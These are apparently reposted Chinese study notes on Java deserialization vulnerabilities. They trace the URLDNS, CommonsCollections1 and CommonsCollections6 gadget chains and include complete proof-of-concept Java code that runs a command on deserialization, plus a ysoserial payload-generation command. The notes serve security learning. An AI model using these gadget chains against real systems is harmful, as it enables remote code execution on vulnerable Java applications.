0


【学习笔记】Java安全之反序列化

文章目录

最近在学习Phith0n师傅的知识星球的Java安全漫谈系列,随手记下笔记

众所周知,一门成熟的语言,如果需要在网络上传递信息,通常会用到一些格式化数据,比如:

  • JSON
  • XML

JSON和XML是通用数据交互格式,通常用于不同语言、不同环境下数据的交互,比如前端JavaScript通过JSON和后端服务通信、微信服务通过XML和公众号服务器通信,但这两个数据格式都不支持复杂的数据类型

大多数处理方法种,JSON和XML支持的数据类型就是基本数据类型、整形、浮点型、字符串、布尔等,如果开发者希望在数据传输的时候直接传输一个对象,就需要想办法扩展基础的JSON、XML语法

比如,Jackson和Fastjson这类序列化库,在JSON、XML的基础上进行改造,通过特定的语法来传递对象;亦或者如RMI,直接使用Java等语言内置的序列化方法,将一个对象转换成一串字节流进行传输。无论是Jackson、Fastjson还是编程语言内置的序列化方法,一旦涉及到序列化与反序列化数据,就可能涉及到安全问题。

但首先要理解的是“反序列化漏洞”是对一类漏洞的泛指,并不是专指某种反序列化方法导致的漏洞,比如Jackson反序列化漏洞和Java readObject造成的反序列化漏洞就是完全不同的两种漏洞。

反序列化方法的对比

Java的反序列化和PHP的反序列化有点类似,它们都是将一个对象中的属性按照某种特定的格式生成一段数据流,在反序列化的时候再按照这个格式将属性拿回来,再赋值给新的对象。
但Java相对PHP序列化更深入的地方在于,其提供了更加高级、灵活地方法

writeObject

,允许开发者将序列化数据流中插入一些自定义数据,进而在反序列化的时候能够使用使用

readObject

进行提取。

当然,PHP也提供了一个魔术方法

__wakeup

,在反序列化的时候进行触发。很多人会认为Java的

readObject

和PHP的

__wakeup

类似,但其实不全对,虽然都是在反序列化的时候触发,但他们解决的问题稍微有些差异。

Java设计

readObject

的思路和PHP的

__wakeup

不同点在于:

readObject

倾向于解决反序列化时如何还原一个完整的对象,而PHP的

__wakeup

更倾向于解决反序列化后如何初始化这个对象

PHP的反序列化

关于PHP反序列化可以看我的这篇文章:由浅入深理解PHP反序列化漏洞

PHP的序列化是开发者不能参与的,开发者调用

serialize

函数后,序列化的数据就已经完成了,得到的是一个完整的对象,并不能在序列化数据流里新增某一个内容,如果想插入新的内容,只有将其保存在一个属性中,也就是说PHP的序列化,、反序列化是一个纯内部的过程,而其

__sleep

__wakeup

魔术方法的目的就是在序列化、反序列化的前后执行一些操作。

含有资源类型的PHP类,如数据库连接,在PHP中资源类型的对象默认是不会写入序列化数据中的,

__wakeup

的作用是在反序列化后执行一些初始化操作,但是其实我们很少利用序列化数据传递资源类型的对象,而其他类型的对象,在反序列化的时候就已经赋予其值了。

所以你会发现,PHP的反序列化漏洞,很少是由

__wakeup

这个方法出发的,通常触发在析构函数

__destruct

中,大部分的PHP反序列化漏洞,都并不是由反序列化导致的,只是通过反序列化可以控制对象的属性,进而在后续的代码中进行危险操作。

Java的反序列化

Java反序列化的操作,很多是需要开发者深入参与的,大量的库都会实现

readObject

writeObject

方法,这和PHP中的

__wakeup

__sleep

很少使用是存在鲜明对比的。

Java在序列化一个对象时,将会调用这个对象中的个

writeObject

方法,参数类型是

ObjectOutputStream

,开发者可以将任何内容写入这个流当中,反序列化时会调用

readObject

,开发者也可以从中读取前面写入的内容,并进行处理。举个例子

packageStudyUnserialiation;importjava.io.IOException;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.io.Serializable;publicclassPersonimplementsjava.io.Serializable{publicString name;publicint age;publicPerson(String name,int age){this.name = name;this.age = age;}privatevoidwriteObject(ObjectOutputStream s)throwsException{
        s.defaultWriteObject();
        s.writeObject("This is Object");}privatevoidreadObject(ObjectInputStream s)throwsException{
        s.defaultReadObject();
        s.readObject();String message =(String) s.readObject();System.out.println(message);}@OverridepublicStringtoString(){return"Person{"+"name='"+ name +'\''+", age="+ age +'}';}}

然后序列化这个类即可

packageStudyUnserialiation;importjava.io.FileOutputStream;importjava.io.IOException;importjava.io.ObjectOutputStream;publicclassTest{publicstaticvoidmain(String[] args)throwsIOException{Person p =newPerson("mochu7",22);ObjectOutputStream oos =newObjectOutputStream(newFileOutputStream("C:\\Users\\Administrator\\Downloads\\serialize_data"));
        oos.writeObject(p);}}

将这段序列化数据提取出来编码成十六进制字符串,然后用

SerializationDumper

查看序列化数据

PS D:\Tools\Web\Other> python
Python 3.8.2(tags/v3.8.2:7b3ab59, Feb 252020,22:45:29)[MSC v.191632 bit (Intel)] on win32
Type "help","copyright","credits"or"license"for more information.>>>>>>withopen('C:\\Users\Administrator\Downloads\serialize_data','rb')as f:...print(bytes.hex(f.read()))...
aced00057372001a5374756479556e73657269616c696174696f6e2e506572736f6ee41761c0bf3f16c20300024900036167654c00046e616d657400124c6a6176612f6c616e672f537472696e673b7870000000167400066d6f6368753774000e54686973206973204f626a65637478

在这里插入图片描述

This is Object

这串字符写入了

objectAnnotation
packageStudyUnserialiation;importjava.io.FileInputStream;importjava.io.IOException;importjava.io.ObjectInputStream;publicclassTest1{publicstaticvoidmain(String[] args)throwsIOException,ClassNotFoundException{ObjectInputStream ois =newObjectInputStream(newFileInputStream("C:\\Users\\Administrator\\Downloads\\serialize_data"));Person person =(Person) ois.readObject();System.out.println(person);}}

反序列化时会读取这串字符,并输出

在这里插入图片描述
这个特性就使得Java的开发变得非常灵活,比如后面将会讲到的HashMap,其实就是将Map中的所有键、值存储在

objectAnnotation

中,而并不是某个具体属性里。

packageStudyUnserialiation;importjava.io.FileOutputStream;importjava.io.ObjectOutputStream;importjava.util.HashMap;publicclassHashMapSerialize{publicstaticvoidmain(String[] args){HashMap<String,Integer> map =newHashMap<>();
        map.put("iPhone14 ProMax",8849);
        map.put("Huawei Mate50Pro",5969);
        map.put("xiaomi13",4299);try{ObjectOutputStream oos =newObjectOutputStream(newFileOutputStream("C:\\Users\\Administrator\\Downloads\\serialize_data1"));
            oos.writeObject(map);}catch(Exception e){
            e.printStackTrace();}}}

在这里插入图片描述

Python反序列化

Python反序列化和Java、PHP有个显著的区别,就是Python的反序列化过程实际上是在执行一个基于栈的虚拟机,我们可以向栈上增删对象,也可以执行一些指令,比如函数的执行,甚至可以用这个虚拟机执行一个完整的应用程序。

所以,Python的反序列化可以立即导致任意函数、命令执行漏洞,与需要gadget的PHP和Java相比更加危险。

从危害上看,Python的反序列化危害是最大的,从应用广度上来看,Java的反序列化是最常被用到的,从反序列化的原理上看,PHP和Java是类似又不尽相同的。

URLDNS链

URLDNS是ysoserial中一个利用链的名字,但准确的来说,这个其实不能称作利用链。称为触发链可能更准确一点,因为其参数不是一个可以“利用”的命令,而仅为一个URL,其能触发的结果也不是命令执行,而是一次DNS请求。

虽然这个“利用链”实际上是不能“利用”的,但因为其如下的优点,非常适合我们在检测反序列化漏洞时使用:

  • 使用Java内置的类构造,对第三方库没有依赖
  • 在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

URLDNS链在ysoserial中的源码:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

SilentURLStreamHandler

是ysoserial自定义的一个继承于

URLStreamHandler

子类,其中重写了

openConnection

getHostAddress

方法,将它们的返回置空,避免在payload创建期间进行DNS解析。首先是实例化的

SilentURLStreamHandler

生成handler,其次用handler与url生成一个URL对象,然后使用

HashMap

将URL对象以及url放入其中。ysoserial会通过调用

getObject

方法获得Payload,该Payload也就是

Hashmap

被序列化后的对象。

利用链分析

触发反序列化的方法是

HashMap

readObject

,那么我们就先从

HashMap

类的

readObject

方法开始分析:

HashMap

readObject

方法源码(

jdk1.8.0_341

):

根据

ysoserial

中的注释解释:

During the put above, the URL’s hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.,是

HashCode

方法中的计算操作触发了DNS请求。

readObject()

方法中

putVal()

将传入的键名传给了

hash()

在这里插入图片描述

hash

方法调用了key的

hashCode()

在这里插入图片描述

传入的key是

java.net.URL

对象,查看

java.net.URL

类的源码,找到

hashCode()

方法,handler是

URLStreamHandler

对象,这里判断了

hashCode

是否

!=-1

在这里插入图片描述

如果

(hashCode != -1) == true

就不会调用

handler.hashCode()

,这也就是

URLDNS

中要使用反射修改

Java.net.URL的hashCode

属性的原因:

Reflections.setFieldValue(u, "hashCode", -1);

,如果这里不使用反射修改该类的属性,这一步就无法到

handler.hashCode()

,继续跟进这里handler的

hashCode()

方法。这里有调用

getHostAddress()

在这里插入图片描述
继续跟进

getHostAddress(u)

在这里插入图片描述

再跟进

在这里插入图片描述

其中的

InetAddress.getByName(host);

就是对传入的主机名解析IP,如果传入的是公网域名就会访问进行DNS请求解析IP。因此

URLDNS

利用链可以造成一次DNS请求。使用ysoserial生成

URLDNS

利用链的对象(Payload),然后反序列化触发该利用链造成一次DNS请求解析。

URLDNS利用链的完整Gadget:

HashMap->readObject()->hash()->URL.hashCode()->URLStreamHandler.hashCode()->getHostAddress()->InetAddress.getByName()

构造该Gadget,需要初始化一个

java.net.URL

对象,将其作为key存入

HashMap

的键名中,然后使用反射修改这个URL类对象的

hashCode()

的值为-1,使其在反序列化时会重新计算

hashCode()

,进而触发之后的DNS请求,而在初始化

java.net.URL

对象时,为了防止生成该对象时也执行URL请求和DNS解析,所以重写了一个子类(

SilentURLStreamHandler

),但这并不是必须的,只是为了防止影响Dnslog平台查验。

触发DNS请求

接下来首先使用ysoserial生成payload,DNS测试平台就是用常用的DNSlog

注意:Windows平台下请使用cmd来运行,PS运行导出的序列化字节流数据格式有误

java-jar ysoserial-all.jar URLDNS "http://ps4nzt.dnslog.cn"> urldns_payload

然后反序列化调用

readObject()

触发即可

在这里插入图片描述
执行完之后Dnslog平台就可以查看到DNS请求
在这里插入图片描述

CommonCollections1利用链

Commons-Collections

是Apache基金会开发的一个Java开源库,提供了一组高效的数据结构和算法实现,扩展了Java的集合框架,使得用户更方便地处理集合数据,该库还包含了大量的类和接口,而

Common-Collections

利用链是Java反序列化漏洞研究中必不可少的一环。

首先来看个CC1链的小Demo

importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.TransformedMap;importjava.util.HashMap;importjava.util.Map;publicclassCommonsCollections1{publicstaticvoidmain(String[] args){Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.getRuntime()),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"}),};Transformer transformerChain =newChainedTransformer(transformers);Map innerMap =newHashMap();Map outerMap =TransformedMap.decorate(innerMap,null, transformerChain);
        outerMap.put("name","mochu7");}}
  • TransformedMap类: TransformedMapCommons Collections中的一个类,它实现了java.util.Map接口,并允许用户指定一个转换函数来对Map中的元素进行转换。具体来说,TransformedMap会将所有读取操作(例如getcontainsKey等)传递给基础Map对象,但在写入操作(例如putremove等)时,会先将键值对应用于指定的转换函数,然后再执行写入操作。 这个转换函数是任何实现了org.apache.commons.collections4.Transformer接口的类,因此就使得TransformedMap非常灵活,可以方便地对Map中的元素进行转换。同时需要注意,由于TransformedMap仅仅是一个包装器类,所以它对基础Map对象的修改也会影响到原始的Map对象。
  • Transformer:Transformer只是一个接口,它只有待实现的transform方法,参数就是Object对象。
publicinterfaceTransformer{Objecttransform(Object var1);}
  • ConstantTransformer:ConstantTransformer是实现了Transformer接口的一个类,在构造器接收一个对象然后在transform方法返回这个对象,进行一个包装任意对象的处理。
  • InvokerTransformer:InvokerTransformer也是实现了Transformer接口的一个类,有参构造器第一个参数是执行的方法名,第二个参数是参数列表的类型,第三个参数是参数列表,然后回调transform方法,使用反射执行了input对象的iMethodName方法。
Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName,this.iParamTypes);return method.invoke(input,this.iArgs);
  • ChainedTransformer:ChainedTransformer也是实现了Transformer接口的类,它将内部的所有Transformer连接在一起进行遍历,将上一个回调返回的结果作为下一个回调的参数传入。
publicChainedTransformer(Transformer[] transformers){this.iTransformers = transformers;}publicObjecttransform(Object object){for(int i =0; i <this.iTransformers.length;++i){
            object =this.iTransformers[i].transform(object);}return object;}

在这里插入图片描述

通过以上几个类的分析,即可理解该Demo的原理,首先新建了个

Transformer

数组,用于存放两个

Transformer

,第一个是

ConstantTransformer

,这会直接返回传入的

Runtime

对象;第二个是

InvokerTransformer

,反射执行

Runtime

对象的

exec

方法,参数是

calc

。再将这个

Transformer

数组传给

ChainedTransformer

,通过回调会将

Runtime

的对象传给

InvokerTransformer

,执行

Runtime

对象的

exec

方法。

但是这个

transfomerChain

只是回调,要触发需要使用

TransformedMap.decorate

来包装,然后使用

put

remove

来触发。

在这里插入图片描述

利用TransformedMap构造POC

上文探讨了

Commons-Collections

Transformer

,并且使用了一个Demo作为例子,在Demo中是以

outerMap.put("name", "mochu7")

来触发漏洞,但是在反序列化时是需要一个类。该类在反序列化时

readObject

方法有类似的写入处理,就是

sun.reflect.annotation.AnnotationInvocationHandler

类,核心源码(

jdk<=8u66

):

privatevoidreadObject(java.io.ObjectInputStream s){...Map<String,Class<?>> memberTypes = annotationType.memberTypes();for(Map.Entry<String,Object> memberValue : memberValues.entrySet()){String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if(memberType !=null){Object value = memberValue.getValue();if(!(memberType.isInstance(value)||
                 value instanceofExceptionProxy)){
                  memberValue.setValue(newAnnotationTypeMismatchExceptionProxy(
                        value.getClass()+"["+ value +"]").setMember(
                         annotationType.members().get(name)));}}}}
memberValues

就是经过了

TransformedMap

修饰的对象,也是反序列化之后的

Map

,然后遍历,依次设置值调用

setValue

时会触发

TransformedMap

中的

Transform

,进而进入到上文提到的利用链导致命令执行。因此构造POC时需要创建一个

AnnotationInvocationHandler

对象,然后将上文的利用链中的

HashMap

传入,并且这个

AnnotationInvovationHandler

是内置类,不能直接使用常规方法获取对象,因此这里使用反射获取构造方法,然后强制访问再调用实例化。

Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = c.getDeclaredConstructor(Class.class,Map.class);Construct.setAccessible(true);Object obj = construct.newInstance(Retention.clas, outerMap);

然后将整个过程梳理,形成一个完整的链子,尝试执行,输出了以下报错

在这里插入图片描述

报的是不可序列化的错误,而这里序列化的是

ConstantTransformer

中的

Runtime.getRuntime()

对象,而

Runtime

是没有实现

java.io.Serializeable

接口的,因此无法序列化。在前面的反射篇章中,有介绍可以通过反射直接获取对象,而不需要直接使用这个类。

Method f =Runtime.class.getMethod("getRuntime");Runtime r =(Runtime) f.invoke(null);
r.exec("calc");

使用这种方法反射的好处就是将原来没有实现序列化接口的

Java.lang.Runtime

类,换成了

Java.lang.Class

对象,而

Java.lang.Class

类对象是实现了

Serializable

接口的,因此可以序列化。但是更换

Transformer

调用

Runtime

的方法之后还是无法执行命令。

在这里插入图片描述

查看

AnnotationInvocationHandler

类的反编译代码,在

readObject()

方法下,如果要进入

setValue()

触发构造的

Transfomers

,有一个

if(var7!=null)

的判断,在这里下个断点动态调式,查看运行后

var7

的值是否为

null

在这里插入图片描述

回到

AnnotationInvocationHandler

的有参构造方法

在这里插入图片描述

可以看到要使得

var1

var2

的值不为

null

AnnotationInvocationHandler

的第一个参数必须是

Annotation

类型,并且需要有一个方法,如果这个方法名为X,那么被

TransformedMap.decorate

修饰的

Map

的键名也必须为X才能触发,正是因为如此,上文使用反射获取

AnnotationInvocationHandler

获取有参构造器,生成对象时传入的第一个参数是

Retention.class

,因为

Retention

中有一个

value

方法,因此修改

innerMap.put("value", "mochu7");

的键名也为

value

在这里插入图片描述

importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.TransformedMap;importjava.io.ByteArrayInputStream;importjava.io.ByteArrayOutputStream;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.annotation.Retention;importjava.lang.reflect.Constructor;importjava.util.HashMap;importjava.util.Map;publicclassCommonsCollections1{publicstaticvoidmain(String[] args)throwsException{Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newString[]{"calc"}),};Transformer transformerChain =newChainedTransformer(transformers);Map innerMap =newHashMap();
        innerMap.put("value","mochu7");Map outerMap =TransformedMap.decorate(innerMap,null, transformerChain);Class clazz =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
        construct.setAccessible(true);Object obj = construct.newInstance(Retention.class, outerMap);ByteArrayOutputStream barr =newByteArrayOutputStream();ObjectOutputStream oos =newObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();System.out.println(barr);ObjectInputStream ois =newObjectInputStream(newByteArrayInputStream(barr.toByteArray()));Object o =(Object) ois.readObject();}}

注意:该方法只针对

Jdk<=8u66

的版本有效,

8u71

开始,Java官方修改了

sun.reflect.annotation.AnnotationInvocationHandler

readObject

方法,不再继续使用反序列化得到的Map对象,而是新建了一个

LinkedHashMap

对象,并将原来的键值添加进去。因此,后续对

Map

的操作全都是基于这个新的

LinkedHashMap

对象,不需要再使用构造的

Ma

执行

set

put

处理,因此也就不会触发RCE了。

利用LazyMap构造POC

LazyMap

TransformedMap

类似,都来自于

Apache Commons Collections

库,

LazyMap

是一个需要时动态生成值的映射表。它通过延迟来加载提高性能,只有在首次访问时才会计算和存储值。

LazyMap

通常适用于处理大量数据的情况,可以节省计算资源。

TransformedMap

是在写入元素的时候执行构造好的

transforms

,而

LazyMap

是在它的

get

方法中执行

factory.transform

,当寻找不到

key

值时会调用

factory.transform

获取一个值。

在这里插入图片描述

LazyMap

利用比

TransformedMap

的利用过程稍微复杂一点,

TransformedMap

是在

AnntationInvocationHandler

readObject

方法中就有

setValue

会触发到构造好的

transforms

,而

readObject

中并没有调用到

Map

get

方法。但是

AnnotationInvocationHandler

类的

invoke

方法有调用到

get

方法

在这里插入图片描述

那么下一步就是想办法调用到

AnnotationInvocationHandler

下的

invoke

方法,想要劫持对象内部的方法调用,最合适不过的是使用Java的动态代理中的对象代理。

Map proxyMap =(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),newClass[]{Map.class}, handler);

第一个参数是

ClassLoader

,使用默认的即可;第二个参数是代理的对象集合;第三个参数是实现了

InvocationHandler

接口的对象,是代理对象的核心处理程序。
编写一个

ExampleInvocationHandler

类,重写

invoke

方法,它的作用是当检测到该对象调用了

get

方法,就返回一串字符。

importjava.lang.reflect.InvocationHandler;importjava.lang.reflect.Method;importjava.util.Map;publicclassExampleInvocationHandlerimplementsInvocationHandler{protectedMap map;publicExampleInvocationHandler(Map map){this.map = map;}@OverridepublicObjectinvoke(Object proxy,Method method,Object[] args)throwsThrowable{if(method.getName().compareTo("get")==0){System.out.println("Hook Method: "+ method.getName());return"Hacked Object";}return method.invoke(this.map, args);}}

然后在外部调用

ExampleInvocationHandler

,存入一组数据,然后

get

获取

importjava.lang.reflect.InvocationHandler;importjava.lang.reflect.Proxy;importjava.util.HashMap;importjava.util.Map;publicclassTest{publicstaticvoidmain(String[] args){InvocationHandler handler =newExampleInvocationHandler(newHashMap());Map proxyMap =(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),newClass[]{Map.class}, handler);
        proxyMap.put("name","mochu7");String result =(String) proxyMap.get("name");System.out.println(result);}}

在这里插入图片描述

而如果对

sun.reflect.annotation.AnnotationInvocationHandler

类的对象用

Proxy

代理,在

readObject

时,只要调用任何一个方法,就会触发进入到

AnnotationInvocationHandler

invoke

方法,最后触发

LazyMap

get

方法。

因此,

LazyMap

的利用链的构造过程就产生了,在原有的

TransformedMap

的POC的基础进行修改,首先将原来的

TransformedMap

替换为

LazyMap

,然后对

sun.reflect.annotation.AnnotationInvocationHandler

类的对象进行代理。

Class clazz =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);InvocationHandler handler =(InvocationHandler) construct.newInstance(Retention.class, outerMap);Map proxyMap =(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),newClass[]{Map.class}, handler);

代理之后还不能直接序列化,因为利用链的入口点在

sun.reflect.annotation.AnnotationInvocationHandler的readObject()

,因此还需要使用

AnnotationInvocationHandler

proxyMap

进行处理。

handler =(InvocationHandler) construct.newInstance(Retention.class, proxyMap);

最终构造如下:

importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.LazyMap;importorg.apache.commons.collections.map.TransformedMap;importjava.io.ByteArrayInputStream;importjava.io.ByteArrayOutputStream;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.annotation.Retention;importjava.lang.reflect.Constructor;importjava.lang.reflect.InvocationHandler;importjava.lang.reflect.Proxy;importjava.util.HashMap;importjava.util.Map;publicclassCommonsCollections1{publicstaticvoidmain(String[] args)throwsException{Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newString[]{"calc"}),};Transformer transformerChain =newChainedTransformer(transformers);Map innerMap =newHashMap();Map outerMap =LazyMap.decorate(innerMap, transformerChain);Class clazz =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
        construct.setAccessible(true);InvocationHandler handler =(InvocationHandler) construct.newInstance(Retention.class, outerMap);Map proxyMap =(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),newClass[]{Map.class}, handler);
        handler =(InvocationHandler) construct.newInstance(Retention.class, proxyMap);ByteArrayOutputStream barr =newByteArrayOutputStream();ObjectOutputStream oos =newObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();System.out.println(barr);ObjectInputStream ois =newObjectInputStream(newByteArrayInputStream(barr.toByteArray()));Object o =(Object) ois.readObject();}}

在这里插入图片描述

CommonsCollections6 利用链

上文详细分析了

LazyMap

的利用链并构造了POC,但是

LazyMap

的利用链仍然无法解决

CommonCollections1

的利用链在高版本的

Java(jdk>=8u71)

中无法使用的问题。

CommonsCollections6

在jdk7、8的高版本中的利用链是比较通用的利用链。
以下是这条链的利用过程:

java.io.ObjectInputStream.readObject()->java.util.HashMap.readObject()->org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()->org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()->org.apache.commons.collections.map.LazyMap.get()->org.apache.commmons.collections.functors.ChainedTransformer.transform()->org.apache.commons.collections.functors.InvokerTransformer.transform()->java.lang.reflect.Method.invoke()->java.lang.Runtime.exec()

LazyMap.get()

Runtime.exec()

上文已经详细分析过了,因此要解决在Java高版本中的利用问题,就需要寻找还有哪些地方调用了

LazyMap.get()

这个方法,可以看到

org.apache.commons.collections.keyvalue.TiedMapEntry

中的

getValue()

调用了

this.map.get()

,并且在

hashCode()

中调用了

getValue()

在这里插入图片描述

继续追踪哪里调用了

TiedMapEntry.hashCode()

,也就是追踪哪里调用了

HashMap.hash()

,在

HashMap.readObject()

中可以看到调用了

hash(key)

在这里插入图片描述

而在

hash()

方法中调用了

key.hashCode()

,因此只需要将

TiedMapEntry

对象赋值给这里的

key

,既可组成一个完整的

Gadget

。构造

LazyMap

,包装

transformerChain

outerMap

,然后将其作为

TiedMapEntry

map

属性。

Transformer[] fakeTransformers =newTransformer[]{newConstantTransformer(1)};Transformer transformerChain =newChainedTransformer(fakeTransformers);Map innerMap =newHashMap();Map outerMap =LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tiedMapEntry =newTiedMapEntry(outerMap,"MyKey");

这里为了避免本地调试触发命令执行,构造

LazyMap

使用的是一个普通的

Transformers

对象,必要时需要

Payload

再把真正的

Transformers

放进去。接下来为了调用

TiedMapEntry.hashCode()

,将

tiedMapEntry

对象作为

HashMap

key

存入一个新的

HashMap

。最后,将这个新的

HashMap

对象序列化即可,在此之前需要通过反射,将真正的

Transformers

数组对象。

Map myMap =newHashMap();
myMap.put(tiedMapEntry,"MyValue");Field field =ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(tramformerChain, transformers);

在这里插入图片描述

运行之后并没有执行命令,单步调试查看问题,发现问题在

LazyMap.get()

方法中

在这里插入图片描述

有个

if

会判断

Map

中是否有

key

,如果否才进入到触发

Transformers

数组对象的步骤,在创建

TiedMapEntry

时,放入了一个

MyKey

,但是

TiedMapEntry

并不会修改

outerMap

,关键问题就出在

myMap.put(tiedMapEntry, "MyValue")

HashMap.put()

方法中也有

hash(key)

的操作。导致

LazyMap

的利用链提前被调用了一次,所以需要对

outerMap

key

值进行

remove

处理:

outerMap.remove("MyKey")
importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.LazyMap;importjava.io.ByteArrayInputStream;importjava.io.ByteArrayOutputStream;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.reflect.Field;importjava.util.HashMap;importjava.util.Map;importorg.apache.commons.collections.keyvalue.TiedMapEntry;publicclassCommonsCollections1{publicstaticvoidmain(String[] args)throwsException{Transformer[] fakeTransformers =newTransformer[]{newConstantTransformer(1)};Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newString[]{"calc"}),newConstantTransformer(1),};Transformer transformerChain =newChainedTransformer(fakeTransformers);Map innerMap =newHashMap();Map outerMap =LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tiedMapEntry =newTiedMapEntry(outerMap,"MyKey");Map myMap =newHashMap();
        myMap.put(tiedMapEntry,"MyValue");
        outerMap.remove("MyKey");Field field =ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformerChain, transformers);ByteArrayOutputStream barr =newByteArrayOutputStream();ObjectOutputStream oos =newObjectOutputStream(barr);
        oos.writeObject(myMap);
        oos.close();System.out.println(barr);ObjectInputStream ois =newObjectInputStream(newByteArrayInputStream(barr.toByteArray()));Object o =(Object) ois.readObject();}}

在这里插入图片描述

这个利用链可以在Java7和8高版本触发,没有版本限制


本文转载自: https://blog.csdn.net/mochu7777777/article/details/130221488
版权归原作者 末 初 所有, 如有侵权,请联系我们删除。

“【学习笔记】Java安全之反序列化”的评论:

还没有评论